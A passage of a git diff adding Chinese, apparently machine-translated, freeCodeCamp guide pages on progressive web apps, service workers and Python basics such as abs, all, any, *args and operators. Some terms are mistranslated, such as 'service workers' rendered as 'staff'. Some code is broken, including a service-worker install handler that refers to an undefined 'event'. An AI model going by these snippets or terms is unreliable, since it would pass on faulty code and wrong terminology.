+<meta name="apple-mobile-web-app-capable" content="yes"> 
+ <meta name="apple-mobile-web-app-status-bar-style" content="green"> 
+ <meta name="apple-mobile-web-app-title" content="FreeCodeCamp"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-72x72.png" sizes="72x72"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-96x96.png" sizes="96x96"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-128x128.png" sizes="128x128"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-144x144.png" sizes="144x144"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-152x152.png" sizes="152x152"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-192x192.png" sizes="192x192"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-384x384.png" sizes="384x384"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-512x512.png" sizes="512x512"> 
+```
+
+**视窗**
+
+在Windows手机上，将以下元标记添加到HTML的head部分：
+
+```html
+
+<meta name="msapplication-TileImage" content="/assets/images/icons/icon-144x144.png"> 
+ <meta name="msapplication-TileColor" content="green"> 
+```
+
+### 参考
+
+1.  [superoo7，“渐进式Web应用程序的高级视图”发布日期：2017年12月18日。](https://steemit.com/web/@superoo7/a-high-level-view-of-progressive-web-app)
+2.  [Matt Gaunt和Paul Kinlan，“Web App安装横幅”发布时间：2017年11月14日。](https://developers.google.com/web/fundamentals/app-install-banners/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/progressive-web-apps/app-shell/index.md b/client/src/guide/chinese/progressive-web-apps/app-shell/index.md
new file mode 100644
index 0000000000..10bde072c2
--- /dev/null
+++ b/client/src/guide/chinese/progressive-web-apps/app-shell/index.md
@@ -0,0 +1,13 @@
+---
+title: App Shell
+localeTitle: App Shell
+---
+## App Shell
+
+这是一个存根。
+
+[帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/progressive-web-apps/app-shell/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/progressive-web-apps/index.md b/client/src/guide/chinese/progressive-web-apps/index.md
new file mode 100644
index 0000000000..4e69c1f655
--- /dev/null
+++ b/client/src/guide/chinese/progressive-web-apps/index.md
@@ -0,0 +1,52 @@
+---
+title: Progressive Web Apps
+localeTitle: 渐进式Web应用程序
+---
+## 渐进式Web应用程序
+
+渐进式网络应用程序或“PWA”似乎不仅仅是一种时尚，而是一种从根本上不同的方式来处理网站可以和应该在您正在查看的任何平台上的内容。
+
+PWA可以将部分自身安装到设备上以供离线查看，使用服务工作人员在连接可用时根据需要提供内容，最重要的是标准化移动和桌面设备之间的某些功能。
+
+### 特征
+
+PWA的具体功能包括：
+
+*   **响应**
+*   适合任何形状因素
+*   **离线功能**
+*   通过Service Workers逐步增强，让他们脱机工作
+*   **原生App感觉**
+*   采用Shell＆Content应用程序模型来创建应用程序导航和交互
+*   **新鲜**
+*   始终是最新的，感谢服务人员
+*   **安全**
+*   通过TLS（服务工作者要求）提供服务以防止窥探
+*   **发现的**
+*   由于W3C清单和服务工作者注册范围允许搜索引擎找到它们，因此可以识别为“应用程序”
+*   **引人入胜**
+*   可以通过推送通知访问操作系统的重新参与UI
+*   **简易安装**
+*   可以通过浏览器提供的提示添加到主屏幕，允许用户“保留”他们认为最有用的应用程序，而无需应用程序商店的麻烦
+*   **可链接**
+*   这意味着它们零摩擦，零安装，易于共享
+*   URL的社交能力很重要
+
+> 这些应用程序不是通过商店打包和部署的，它们只是采用了所有正确维生素的网站。 1
+
+### 渐进式增强
+
+渐进增强意味着每个人都可以在任何浏览器中访问页面的基本内容和功能，而没有某些浏览器功能的人可能会获得减少但仍然有效的体验。 [\- 灯塔](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced-b5ad7cf7a447) 2
+
+[Aaron Gustafson的](http://alistapart.com/article/understandingprogressiveenhancement)一个很好的类比是渐进增强（PE）就像花生M＆M。
+
+> “花生是你的内容，巧克力涂层是你的表现层，你的JavaScript是硬糖壳。”
+
+这意味着取决于浏览器，体验可能会发生变化。
+
+### 演示
+
+### 参考
+
+1.  [拉塞尔，亚历克斯。 “渐进的网络应用程序：逃避标签而不会失去我们的灵魂”“不经常注意到”发布日期：2015年6月15日。](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/)
+2.  [渐进式网络应用程序 - Google Developers](https://developers.google.com/web/progressive-web-apps/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/progressive-web-apps/service-workers/index.md b/client/src/guide/chinese/progressive-web-apps/service-workers/index.md
new file mode 100644
index 0000000000..d0521faa97
--- /dev/null
+++ b/client/src/guide/chinese/progressive-web-apps/service-workers/index.md
@@ -0,0 +1,84 @@
+---
+title: Service Workers
+localeTitle: 服务人员
+---
+## 服务人员
+
+Service Worker是一个适用于浏览器背景而无需用户独立交互的脚本。此外，它类似于在用户端工作的代理。使用此脚本，您可以使用Cache API跟踪页面的网络流量，管理推送通知并开发“脱机优先”Web应用程序。
+
+### 我们可以对服务工作者做些什么？
+```
+You can dominate Network Traffic! 
+ You can manage all network traffic of the page and do any manipulations. 
+ You can “Cache”! 
+ You can cache any request/response pair with Service Worker and Cache API and you can access these offline content anytime. 
+ You can manage Push Notifications! 
+ You can manage push notifications with Service Worker and show any information message to the user. 
+ Although Internet connection is broken, you can start any process with Background Sync of Service Worker. 
+```
+
+### 我们不能与服务工作者做什么？
+```
+You can't access the window! 
+ You can't access the window, therefore, You can't any manipulation DOM elements. 
+ But, you can communicate to the window through postMessage and manage processes that you want. 
+ You can't work it on 80 Port! 
+ Service Worker just can work on HTTPS protocol. But you can work on localhost during development. 
+```
+
+### 服务工作者生命周期
+
+服务工作者生命周期有3个步骤;注册，安装和激活。
+
+### 注册服务工作者
+
+在安装Service Worker之前，您需要在主JavaScript文件中注册一个。这可以通过navigator.serviceWorker.register方法完成，如下所示：
+
+```javascript
+if ('serviceWorker' in navigator) { 
+ navigator.serviceWorker.register('/serviceWorkerArticles.js', { scope: '/' }): 
+ } 
+```
+
+此方法有两个参数：
+```
+The name of the javascript file, relative to the root of your domain 
+ (Optional) The scope to give a specific perimeter where your ServiceWorker has power to work. Basically it is the folder where it has control for assets, the default value is the root of the domain. 
+```
+
+### 安装和使用服务工作者
+
+现在我们从'serviceWorker.js'注册了一个Service Worker，让我们填写这个文件，这样如果您的用户之前已经访问过所需的文章，那么您的网站有关政治文章的文章可以脱机阅读。
+
+对于大多数操作，您只需要执行一些addEventListener，因为Service Workers已经有很多有用的事件要收听！
+
+```javascript
+self.addEventListener('install', cach => { 
+    event.waitUntil( 
+        caches.open('v1').then(cache => { 
+            return cache.addAll([ 
+              '/', 
+              '/style.css', 
+              '/app.js', 
+              '/favicon.ico', 
+              '/frontPageCover.jpg', 
+            ]); 
+          }) 
+        ); 
+    }); 
+```
+
+我们这里有3种有趣的方法！让我们快速浏览一下所有这些：
+```
+event.waitUntil: This method is used in an event to make it wait for a Promise to be resolved, in our case we have to compute things from cache before the Service Worker is considered installed 
+ 
+ caches.open: This method comes form the CacheStorage API, it returns a Promise that containing the cache you asked in given parameter. 
+ 
+ cache.addAll: This method comes form the Cache API (do not confuse with the CacheStorage, the Cache API is an object that is returned by the caches.open ). This method takes an array of URLs, and for each of them try to retrieve them and store it in the Cache object. 
+```
+
+因此，使用此代码，您的服务工作者现在已注册，安装并处于活动状态。如果您转到网站的主页，并在离线模式下重新加载，您应该能够像以前一样看到您的网页！
+
+#### 更多信息
+
+[服务工作者的初学者指南](https://medium.com/samsung-internet-dev/a-beginners-guide-to-service-workers-f76abf1960f6) [JS中的服务工作者和离线阅读](https://medium.com/quick-code/service-workers-in-js-and-offline-reading-7bac9d4980ea) [什么是服务人员？](https://medium.com/commencis/what-is-service-worker-4f8dc478f0b9)
\ No newline at end of file
diff --git a/client/src/guide/chinese/puppet/index.md b/client/src/guide/chinese/puppet/index.md
new file mode 100644
index 0000000000..5ec6b376fa
--- /dev/null
+++ b/client/src/guide/chinese/puppet/index.md
@@ -0,0 +1,11 @@
+---
+title: Puppet
+localeTitle: 木偶
+---
+## 木偶
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/abs-function/index.md b/client/src/guide/chinese/python/abs-function/index.md
new file mode 100644
index 0000000000..27b4f68431
--- /dev/null
+++ b/client/src/guide/chinese/python/abs-function/index.md
@@ -0,0 +1,29 @@
+---
+title: Python Abs Function
+localeTitle: Python Abs函数
+---
+`abs()`是Python 3中的内置函数，用于计算任何数字的绝对值。数字的绝对值“仅表示数字与0之间的距离” 1它需要一个参数`x` 。参数甚至可以是一个[复数](https://docs.python.org/3.0/library/cmath.html) ，在这种情况下，它的[模数](http://www.mathcentre.ac.uk/resources/sigma%20complex%20number%20leaflets/sigma-complex9-2009-1.pdf)被返回。
+
+## 论据
+
+它需要一个参数`x` - 一个整数，或十进制，或一个复数。
+
+## 回报价值
+
+返回值为正数。即使传递了复数，也会返回其大小，按复数代数计算。
+
+## 代码示例
+
+```python
+print(abs(3.4)) # prints 3.4 
+ print(abs(-6)) # prints 6 
+ print(abs(3 + 4j)) # prints 5, because |3 + 4j| = 5 
+```
+
+[🚀运行代码](https://repl.it/CL8k/0)
+
+[官方文件](https://docs.python.org/3/library/functions.html#abs)
+
+### 来源
+
+1.  [数学很有趣。访问时间：2017年10月25日](https://www.mathsisfun.com/numbers/absolute-value.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/all-iterable/index.md b/client/src/guide/chinese/python/all-iterable/index.md
new file mode 100644
index 0000000000..8d425aa085
--- /dev/null
+++ b/client/src/guide/chinese/python/all-iterable/index.md
@@ -0,0 +1,43 @@
+---
+title: Python All Iterable
+localeTitle: Python所有Iterable
+---
+`all()`是Python 3中的内置函数（以及2.5版以来的Python 2），用于检查[_iterable的_](https://docs.python.org/3/glossary.html#term-iterable)所有项是否为`True` 。它需要一个参数， `iterable` 。
+
+## 论据
+
+### 迭代
+
+`iterable`参数是要检查其条目的集合。它可以是`list` ， `str` ， `dict` ， `tuple`等。
+
+## 回报价值
+
+返回值是一个布尔值。当且仅当`iterable` **所有**条目都是[真实的时](https://guide.freecodecamp.org/python/truth-value-testing) ，它返回`True` 。该函数基本上对所有元素执行布尔`AND`运算。
+
+如果它们中的一个不是真的，则返回`False` 。
+
+`all()`操作等效于（不是内部实现完全像这样）
+```
+def all(iterable): 
+    for element in iterable: 
+        if not element: 
+            return False 
+    return True 
+```
+
+## 代码示例
+```
+print(all([])) #=> True  # Because an empty iterable has no non-truthy elements 
+ print(all([6, 7])) #=> True 
+ print(all([6, 7, None])) #=> False  # Because it has None 
+ print(all([0, 6, 7])) #=> False  # Because it has zero 
+ print(all([9, 8, [1, 2]])) #=> True 
+ print(all([9, 8, []])) #=> False  # Because it has [] 
+ print(all([9, 8, [1, 2, []]])) #=> True 
+ print(all([9, 8, {}])) #=> False  # Because it has {} 
+ print(all([9, 8, {'engine': 'Gcloud'}])) #=> True 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CL9U/0)
+
+[官方文件](https://docs.python.org/3/library/functions.html#all)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/anaconda/index.md b/client/src/guide/chinese/python/anaconda/index.md
new file mode 100644
index 0000000000..4ffa91ad70
--- /dev/null
+++ b/client/src/guide/chinese/python/anaconda/index.md
@@ -0,0 +1,27 @@
+---
+title: Anaconda
+localeTitle: 蟒蛇
+---
+**Anaconda**是一个包管理器，环境管理器和Python发行版，包含许多软件包。 Anaconda与平台无关，因此无论您使用的是Windows，MacOS还是Linux，都可以使用它。 Anaconda可以轻松地在本地计算机上的环境之间创建，保存，加载和切换。它是为Python程序创建的，但它可以为任何语言打包和分发软件。 作为包管理器的Anaconda可帮助您查找和安装包。如果您需要一个需要不同版本Python的软件包，则无需切换到其他环境管理器，因为Anaconda也是一个环境管理器。只需几个命令，您就可以设置一个完全独立的环境来运行不同版本的Python，同时继续在正常环境中运行您常用的Python版本。
+
+## 概观
+
+开始使用conda的最快方法是通过 20分钟[conda](https://conda.io/docs/user-guide/getting-started.html)指南[入门](https://conda.io/docs/user-guide/getting-started.html) 。
+
+`conda`命令是用于管理的主要接口 各种包装的安装。它可以：
+
+*   查询并搜索Anaconda包索引和当前 Anaconda安装。
+    
+*   创建新的conda环境。
+    
+*   安装包并将其更新到现有的conda环境中。
+    
+
+提示：您可以缩写许多常用的命令选项 之前是2个破折号（ `--` ）到1个破折号和第一个破折号 选项的信。所以`--name`和`-n`是相同的，并且 `--envs`和`-e`是一样的。
+
+有关每个命令的完整用法（包括缩写），请参阅 [命令参考](https://conda.io/docs/commands.html) 。
+
+### 来源
+
+1.  [Anaconda文档](https://docs.anaconda.com/)
+2.  [Conda文档](https://conda.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/any-iterable/index.md b/client/src/guide/chinese/python/any-iterable/index.md
new file mode 100644
index 0000000000..fbb8a8a157
--- /dev/null
+++ b/client/src/guide/chinese/python/any-iterable/index.md
@@ -0,0 +1,42 @@
+---
+title: Python Any Iterable
+localeTitle: Python任何可迭代的
+---
+`any()`是Python 3（以及2.5版以来的Python 2 `any()`中的内置函数，用于检查[_iterable的_](https://docs.python.org/3/glossary.html#term-iterable)任何项是否为`True` 。它需要一个参数， `iterable` 。
+
+## 论据
+
+### 迭代
+
+`iterable`参数是要检查其条目的集合。它通常可以是`list` ， `str` ， `dict` ， `tuple`等，甚至是`file object` 。
+
+## 回报价值
+
+返回值是一个布尔值。当且仅当iterable的**所有**条目都为`False` ，或者`iterable`为空时;它返回`False` 。该函数基本上对所有元素执行布尔`OR`运算。
+
+如果其中一个为`True` ，则返回`True` 。
+
+`any()`操作等效于（内部，可能不完全像这样实现）
+```
+def any(iterable): 
+    for element in iterable: 
+        if element: 
+            return True 
+    return False 
+```
+
+## 代码示例
+```
+print(any([])) #=> False 
+ print(any({})) #=> False 
+ print(any([None])) #=> False 
+ print(any(['', {}, 0])) #=> False 
+ print(any([6, 7])) #=> True 
+ print(any([6, 7, None])) #=> True 
+ print(any([0, 6, 7])) #=> True 
+ print(any([9, 8, [1, 2]])) #=> True 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CL9c/0)
+
+[官方文件](https://docs.python.org/3/library/functions.html#any)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/args-variable/index.md b/client/src/guide/chinese/python/args-variable/index.md
new file mode 100644
index 0000000000..0741898480
--- /dev/null
+++ b/client/src/guide/chinese/python/args-variable/index.md
@@ -0,0 +1,47 @@
+---
+title: Relationships between * and args
+localeTitle: *和args之间的关系
+---
+## 在函数定义中存在\*
+
+```Python
+# How does *args work in a function definition 
+ 
+ def hardFunc(arg1, arg2): 
+    # create a tuple and pollute it with arguments passed to hardFunc 
+    args=(arg1, arg2) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ hardFunc('hard_one', 'hard_two') 
+ # output — Try it yourself now and in sequential snippets! 
+ 
+ def softFunc(*args): 
+    # at this point after calling softFunc a tuple with a name of a word 
+    # followed by * is created automatically (in this case the name is args) 
+    # print out results 
+    print(args[0]) 
+    print(args[1]) 
+ 
+ softFunc('soft_one', 'soft_two') 
+ 
+ # Now try to do something illegal 
+ hardFunc('one', 'two', 'three') 
+ 
+ # Now do things legally 
+ softFunc('one', 'two', 'three') 
+ 
+ # or even 
+ softFunc('one', 'two', 'three', 'infinity') 
+ 
+ # softFunc handles arbitrary amount of arguments easily by virtue of * syntax 
+ # So using a single variable name in conjuction with * we gained the ability 
+ # to invoke a function with arbitrary amount of arguments. 
+ 
+ # Once again when softFunc is called the newly args 
+ # tuple filled with provided arguments is created 
+ 
+ # Conclusion softFunc is a more flexible/dynamic verson of a hardFunc 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/basic-operators/index.md b/client/src/guide/chinese/python/basic-operators/index.md
new file mode 100644
index 0000000000..4de2860339
--- /dev/null
+++ b/client/src/guide/chinese/python/basic-operators/index.md
@@ -0,0 +1,328 @@
+---
+title: Basic Operators
+localeTitle: 基本运营商
+---
+## 基本运营商
+
+运算符是告诉解释器执行特定操作的符号（即算术，比较，逻辑等）
+
+下面列出了Python中不同类型的运算符：
+
+1.  算术运算符
+2.  关系运算符
+3.  按位运算符
+4.  分配运营商
+5.  逻辑运算符
+6.  会员运营商
+7.  身份运营商
+
+#### 算术运算符
+
+算术运算符将两个操作数作为输入，执行计算并返回结果。
+
+考虑表达式**“a = 2 + 3”** 。这里， `2`和`3`是_操作数_ ， `+`是_算术运算符_ 。操作的结果存储在变量a中。
+
+操作者
+
+描述
+
+用法
+
++
+
+对操作数执行添加
+
+12 + 3 = 15
+
+\-
+
+在操作数上执行减法。 从左操作数中减去右操作数
+
+12 - 3 = 9
+
+\*
+
+对操作数执行乘法运算
+
+12 \* 3 = 36
+
+/
+
+对操作数执行分区。 将左操作数除以右操作数
+
+12/3 = 4
+
+注意：当使用两个整数时，Python 2和Python 3之间的结果不同。
+
+Python 2中5/2 = 2
+
+Python 3中5/2 = 2.5
+
+％
+
+对操作数执行模数。 返回将左操作数除以右操作数时获得的余数
+
+16％3 = 1
+
+\*\*
+
+执行指数操作。 左操作数被提升到右操作数的幂
+
+12 \*\* 3 = 1728
+
+//
+
+执行Floor Division操作。 返回右操作数跳转左操作数后获得的商的整数部分
+
+18 // 5 = 3
+
+注意：要使结果为浮点类型，其中一个操作数也必须是float类型。
+
+#### 关系运算符
+
+关系运算符用于比较两个操作数以确定它们之间的关系。它根据条件返回一个布尔值。
+
+操作者
+
+描述
+
+用法
+
+\>
+
+如果左操作数大于右操作数，则返回True 否则返回False
+
+12> 3返回True
+
+<
+
+如果右操作数大于左操作数，则返回True 否则返回False
+
+12 <3返回False
+
+\==
+
+如果两个操作数相等，则返回True 否则返回False
+
+12 == 3返回False
+
+\> =
+
+如果左操作数大于或等于右操作数，则返回True 否则返回False
+
+12> = 3返回True
+
+<=
+
+如果右操作数大于或等于左操作数，则返回True 否则返回False
+
+12 <= 3返回False
+
+！=
+
+如果两个操作数不相等，则返回True 否则返回False
+
+12！= 3返回True
+
+#### 按位运算符
+
+按位运算符逐位对操作数执行操作
+
+对于以下用法，考虑a = 2（二进制表示法，10）和b = 3（二进制表示法，11）
+
+操作者
+
+描述
+
+用法
+
+＆
+
+对操作数执行按位AND运算
+
+a＆b = 2 二进制：10和11 = 10
+
+|
+
+对操作数执行按位OR运算
+
+一个| b = 3 二进制：10 | 11 = 11
+
+^
+
+对操作数执行按位XOR运算
+
+a ^ b = 1 二进制：10 ^ 11 = 01
+
+〜
+
+对操作数执行按位NOT运算 翻转操作数中的每一位
+
+~a = -3 二进制：〜（00000010）=（11111101）
+
+\>>
+
+执行按位右移。将左操作数的位移位，右移指定为右操作数的位数
+
+a >> b = 0 二进制：00000010 >> 00000011 = 0
+
+<<
+
+执行按位左移。移位左操作数的位，左移指定为右操作数的位数
+
+a << b = 16 二进制：00000010 << 00000011 = 00001000
+
+#### 分配运营商
+
+赋值运算符用于为变量赋值。这通常与其他运算符（如算术，按位）组合，其中对操作数执行操作，结果分配给左操作数。
+
+考虑以下示例， **a = 18** 。 Here `=`是赋值运算符，结果存储在变量a中。 **a + = 10** 。这里`+=`是赋值运算符，结果存储在变量a中。这与a = a + 10相同。
+
+操作者
+
+用法
+
+\=
+
+a = 5.将值5分配给变量a
+
+\+ =
+
+a + = 5相当于a = a + 5
+
+\- =
+
+a - = 5相当于a = a - 5
+
+\* =
+
+a \* = 3相当于a = a \* 3
+
+/ =
+
+a / = 3相当于a = a / 3
+
+％=
+
+a％= 3相当于a = a％3
+
+\*\* =
+
+a \*\* = 3相当于a = a \*\* 3
+
+// =
+
+a // = 3相当于a = a // 3
+
+＆=
+
+a＆= 3相当于a = a＆3
+
+| =
+
+a | = 3相当于a = a | 3
+
+^ =
+
+a ^ = 3相当于a = a ^ 3
+
+\>> =
+
+a >> = 3相当于a = a >> 3
+
+<< =
+
+a << = 3相当于a = a << 3
+
+#### 逻辑运算符
+
+逻辑运算符用于基于多个条件做出决策。 Python中使用的逻辑运算符是 `and` ， `or` `not`
+
+操作者
+
+描述
+
+用法
+
+和
+
+如果两个操作数均为True，则返回True 否则返回False
+
+a和b
+
+要么
+
+如果任何一个操作数为True，则返回True 否则返回False
+
+a或b
+
+不
+
+如果操作数为False，则返回True 否则返回False
+
+不是
+
+#### 会员运营商
+
+成员资格运算符用于标识任何序列（列表，字符串，元组）的成员资格。 `in`和`not in`会员运营商
+
+`in`如果在序列中找到指定的值，则返回True。否则返回False。 `not in`返回true如果指定的值不是序列中发现的。否则返回False。
+
+###### 示例用法
+
+```py
+a = [1,2,3,4,5] 
+ 
+ #Is 3 in the list a? 
+ print 3 in a # prints True 
+ 
+ #Is 12 not in list a? 
+ print 12 not in a # prints True 
+ 
+ str = "Hello World" 
+ 
+ #Does the string str contain World? 
+ print "World" in str # prints True 
+ 
+ #Does the string str contain world? (note: case sensitive) 
+ print "world" in str # prints False 
+ 
+ print "code" not in str # prints True 
+```
+
+#### 身份运营商
+
+身份运算符用于检查两个变量是否共享相同的内存位置。 `is`和`is not`身份运营商
+
+如果操作数引用同一个对象， `is`返回True。否则返回False。 如果操作数不引用同一对象， `is not`返回True。否则返回False。
+
+请注意，两个值相等时，无需暗示它们是相同的。
+
+###### 示例用法
+
+```py
+a = 3 
+ b = 3 
+ c = 4 
+ print a is b # prints True 
+ print a is not b # prints False 
+ print a is not c # prints True 
+ 
+ x = 1 
+ y = x 
+ z = y 
+ print z is 1 # prints True 
+ print z is x # prints True 
+ 
+ str1 = "FreeCodeCamp" 
+ str2 = "FreeCodeCamp" 
+ 
+ print str1 is str2 # prints True 
+ print "Code" is str2 # prints False 
+ 
+ a = [10,20,30] 
+ b = [10,20,30] 
+ 
+ print a is b # prints False (since lists are mutable in Python) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/bool-function/index.md b/client/src/guide/chinese/python/bool-function/index.md
new file mode 100644
index 0000000000..062d1673a5
--- /dev/null
+++ b/client/src/guide/chinese/python/bool-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Bool Function
+localeTitle: Python Bool函数
+---
+`bool()`是Python 3中的内置函数。此函数返回一个布尔值，即True或False。它需要一个参数， `x` 。
+
+## 参数
+
+它需要一个参数， `x` 。使用标准[真值测试程序](https://docs.python.org/3/library/stdtypes.html#truth)转换`x` 。
+
+## 回报价值
+
+如果`x`为false或省略，则返回`False` ;否则返回`True` 。
+
+## 代码示例
+```
+print(bool(4 > 2)) # Returns True as 4 is greater than 2 
+ print(bool(4 < 2)) # Returns False as 4 is not less than 2 
+ print(bool(4 == 4)) # Returns True as 4 is equal to 4 
+ print(bool(4 != 4)) # Returns False as 4 is equal to 4 so inequality doesn't holds 
+ print(bool(4)) # Returns True as 4 is a non-zero value 
+ print(bool(-4)) # Returns True as -4 is a non-zero value 
+ print(bool(0)) # Returns False as it is a zero value 
+ print(bool('dskl')) # Returns True as the string is a non-zero value 
+ print(bool([1, 2, 3])) # Returns True as the list is a non-zero value 
+ print(bool((2,3,4))) # Returns True as tuple is a non-zero value 
+ print(bool([])) # Returns False as list is empty and equal to 0 according to truth value testing 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CVCS/2)
+
+[官方文件](https://docs.python.org/3/library/functions.html#bool)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/boolean-operations/index.md b/client/src/guide/chinese/python/boolean-operations/index.md
new file mode 100644
index 0000000000..d337540deb
--- /dev/null
+++ b/client/src/guide/chinese/python/boolean-operations/index.md
@@ -0,0 +1,52 @@
+---
+title: Python Boolean Operations
+localeTitle: Python布尔运算
+---
+[`and`](https://docs.python.org/3/reference/expressions.html#and) ， [`or`](https://docs.python.org/3/reference/expressions.html#or) ， [`not`](https://docs.python.org/3/reference/expressions.html#not)
+
+[Python Docs - 布尔运算](https://docs.python.org/3/library/stdtypes.html#boolean-operations-and-or-not)
+
+这些是布尔运算，按升序排序：
+
+操作|结果|笔记  
+\--------- | ------------------------------------ | -----  
+x或y |如果x为假，则为y，否则为x | （1）  
+x和y |如果x为假，则为x，否则为y | （2）  
+不是x |如果x为假，则为True，否则为False | （3）
+
+**笔记：**
+
+1.  这是一个短路运算符，因此只有在第一个参数为False时才会计算第二个参数。
+2.  这是一个短路操作符，因此只有在第一个参数为True时才会计算第二个参数。
+3.  没有比非布尔运算符更低的优先级，因此不是a == b被解释为不是（a == b），而a ==不是b是语法错误。
+
+## 例子：
+
+### `not` ：
+```
+>>> not True 
+ False 
+ >>> not False 
+ True 
+```
+
+### `and` ：
+```
+>>> True and False    # Short-circuited at first argument. 
+ False 
+ >>> False and True    # Second argument is evaluated. 
+ False 
+ >>> True and True     # Second argument is evaluated. 
+ True 
+```
+
+### `or` ：
+```
+>>> True or False    # Short-circuited at first argument. 
+ True 
+ >>> False or True    # Second argument is evaluated. 
+ True 
+ >>> False or False   # Second argument is evaluated. 
+ False 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/built-in-constants/index.md b/client/src/guide/chinese/python/built-in-constants/index.md
new file mode 100644
index 0000000000..fa70a5f8af
--- /dev/null
+++ b/client/src/guide/chinese/python/built-in-constants/index.md
@@ -0,0 +1,30 @@
+---
+title: Python Built in Constants
+localeTitle: Python内置常量
+---
+[常量](https://docs.python.org/3/library/constants.html)
+
+三种常用的内置常量：
+
+*   `True` ： _bool_类型的真正价值。赋值为`True`引发_SyntaxError_ 。
+*   `False` ： _bool_类型的错误值。赋值为`False`引发_SyntaxError_ 。
+*   `None` ： _NoneType_类型的唯一值。 None通常用于表示缺少值，因为默认参数未传递给函数。分配给`None`引发_SyntaxError_ 。
+
+其他内置常量：
+
+*   `NotImplemented` ：特殊值，应该由二进制特殊方法返回，例如`__eg__()` ， `__add__()` `__eg__()` ， `__add__()` `__rsub__()`等），以指示操作未针对其他类型实现。
+*   `Ellipsis` ：特殊值主要与扩展切片语法一起用于用户定义的容器数据类型。
+*   `__debug__` ：如果Python没有使用-o选项启动， `__debug__` True。
+
+站点模块添加的常量 站点模块（在启动期间自动导入，除非给出了-S命令行选项）向内置命名空间添加了几个常量。它们对交互式解释器shell很有用，不应该在程序中使用。
+
+打印时的对象，打印消息，如“使用退出（）或Ctrl-D（即EOF）退出”，并在调用时，使用指定的退出代码引发SystemExit：
+
+*   退出（代码=无）
+*   出口（代码=无）
+
+打印时的对象，打印“类型许可证（）以查看完整的许可证文本”等消息，并在调用时，以类似寻呼机的方式显示相应的文本（一次一个屏幕）：
+
+*   版权
+*   执照
+*   学分
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/calling-functions/index.md b/client/src/guide/chinese/python/calling-functions/index.md
new file mode 100644
index 0000000000..bb32384b24
--- /dev/null
+++ b/client/src/guide/chinese/python/calling-functions/index.md
@@ -0,0 +1,53 @@
+---
+title: Python Calling Functions
+localeTitle: Python调用函数
+---
+函数定义语句不执行该函数。执行（调用）函数是通过使用函数的名称，后跟括起所需参数（如果有）的括号来完成的。
+```
+>>> def say_hello(): 
+ ...     print('Hello') 
+ ... 
+ >>> say_hello() 
+ Hello 
+```
+
+函数的执行引入了用于函数局部变量的新符号表。更准确地说，函数中的所有变量赋值都将值存储在本地符号表中;而变量引用首先在本地符号表中查找，然后在封闭函数的本地符号表中查找，然后在全局符号表中查找，最后在内置名称表中查找。因此，全局变量不能直接在函数内赋值（除非在全局语句中命名），尽管可以引用它们。
+```
+>>> a = 1 
+ >>> b = 10 
+ >>> def fn(): 
+ ...     print(a)    # local a is not assigned, no enclosing function, global a referenced. 
+ ...     b = 20      # local b is assigned in the local symbol table for the function. 
+ ...     print(b)    # local b is referenced. 
+ ... 
+ >>> fn() 
+ 1 
+ 20 
+ >>> b               # global b is not changed by the function call. 
+ 10 
+```
+
+调用函数调用的实际参数（参数）在被调用函数的本地符号表中引入;因此，使用call by value传递参数（其中值始终是对象引用，而不是对象的值）。当函数调用另一个函数时，将为该调用创建一个新的本地符号表。
+```
+>>> def greet(s): 
+ ...     s = "Hello " + s    # s in local symbol table is reassigned. 
+ ...     print(s) 
+ ... 
+ >>> person = "Bob" 
+ >>> greet(person) 
+ Hello Bob 
+ >>> person                  # person used to call remains bound to original object, 'Bob'. 
+ 'Bob' 
+```
+
+用于调用函数的参数不能由函数重新分配，但引用可变对象的参数可以更改其值：
+```
+>>> def fn(arg): 
+ ...     arg.append(1) 
+ ... 
+ >>> a = [1, 2, 3] 
+ >>> fn(a) 
+ >>> a 
+ [1, 2, 3, 1] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/class/index.md b/client/src/guide/chinese/python/class/index.md
new file mode 100644
index 0000000000..3036dbbf2f
--- /dev/null
+++ b/client/src/guide/chinese/python/class/index.md
@@ -0,0 +1,71 @@
+---
+title: Class
+localeTitle: 类
+---
+## 类
+
+类提供了将数据和功能捆绑在一起的方法。 创建新类会创建一种新类型的对象，从而允许创建该类型的新实例。 每个类实例都可以附加属性以维护其状态。 类实例还可以具有用于修改其状态的方法（由其类定义）。
+
